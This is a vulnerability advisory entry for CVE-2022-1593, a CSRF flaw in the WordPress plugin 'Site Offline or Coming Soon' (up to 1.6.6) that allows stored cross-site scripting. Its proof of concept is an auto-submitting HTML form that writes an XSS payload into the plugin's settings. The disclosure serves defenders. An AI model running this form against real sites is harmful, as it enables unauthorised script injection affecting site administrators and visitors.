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WordPress Plugin Vulnerabilities

Site Offline or Coming Soon <= 1.6.6 - Stored Cross-Site Scripting via CSRF

Description

The plugin does not have CSRF check in place when updating its settings, and it also lacking sanitisation as well as escaping in some of them. As a result, attackers could make a logged in admin change them and put Cross-Site Scripting payloads in them via a CSRF attack

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=site-is-offline-plugin%2Fmain.php" method="POST">
    <input type="text" name="cp_siteoffline_enabled" value="true">
    <input type="text" name="cpso_save_settings" value="Änderungen speichern">
    <input type="text" name="cp_siteoffline_content" value="<img src=x onerror=alert(/XSS/)>">
</form>
<script>
    document.getElementById("test").submit();
</script> 

Affects Plugins

site-is-offline-plugin
No known fix - plugin closed

References

CVE
CVE-2022-1593

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Daniel Ruf

Submitter

Daniel Ruf

Submitter website
https://daniel-ruf.de
Verified

Yes

WPVDB ID
67678666-402b-4010-ac56-7067a0f40185

Timeline

Publicly Published

2022-06-06 (about 1 years ago)

Added

2022-06-06 (about 1 years ago)

Last Updated

2023-03-08 (about 6 months ago)

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